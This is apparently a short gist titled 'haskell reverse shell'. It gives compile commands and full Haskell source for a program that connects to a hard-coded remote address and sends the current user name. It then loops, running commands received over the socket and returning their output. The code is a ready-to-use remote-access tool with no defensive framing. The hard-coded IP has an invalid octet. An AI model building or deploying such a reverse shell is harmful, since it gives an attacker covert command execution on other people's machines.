haskell reverse shell --

yain ghc haskell-hls-test-utils
ghc --dynamic r.hs

[0] % ll r
-rwxr-xr-x 1 dualfade dualfade 34K May  5 14:47 r*
[0] % file r
r: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 4.4.0, BuildID[sha1]=53c20a76560c2acee16eb009b709b150bd11440c, not stripped

file -> r.hs
import Network.Socket hiding (send, sendTo, recv, recvFrom)
import Network.Socket.ByteString (send, recv)
import qualified Data.ByteString.Char8 as B8
import System.Process
import System.IO
import Control.Exception

main = do
        client "117.132.18.2127" 8443

client :: String -> Int -> IO ()
client host port = withSocketsDo $ do
                addrInfo <- getAddrInfo Nothing (Just host) (Just $ show port)
                let serverAddr = head addrInfo
                sock <- socket (addrFamily serverAddr) Stream defaultProtocol
                connect sock (addrAddress serverAddr)
                (_, Just hout, _, _) <- createProcess (proc "whoami" []) {std_out = CreatePipe}
                resultOut <- hGetContents hout
                let resultMsg = B8.pack resultOut
                send sock resultMsg
                msgSender sock
                close sock

msgSender :: Socket -> IO ()
msgSender sock = do
  let msg = B8.pack ""
  send sock msg
  rMsg <- recv sock 1024
  let split_cmd = words (filter (/= '\n') (B8.unpack rMsg))
  result <- try' $ createProcess (proc (head split_cmd) (tail split_cmd)) {std_out = CreatePipe, std_err = CreatePipe}
  case result of 
    Left ex                            -> sendError sock ex
    Right (_, Just hout, Just herr, _) -> sendResult sock (Nothing, Just hout, Just herr, Nothing)
  msgSender sock
  
 
try' :: IO a -> IO (Either IOException a)
try' = try

sendError sock err = do
  let errorMsg = B8.pack ("Error:" ++ show err ++ "\n")
  send sock errorMsg
  
sendResult sock (_, Just hout, Just herr, _) = do
    resultOut <- hGetContents hout
    errorOut <- hGetContents herr
    let resultMsg = B8.pack resultOut
    let errorMsg = B8.pack errorOut
    send sock resultMsg
    send sock errorMsg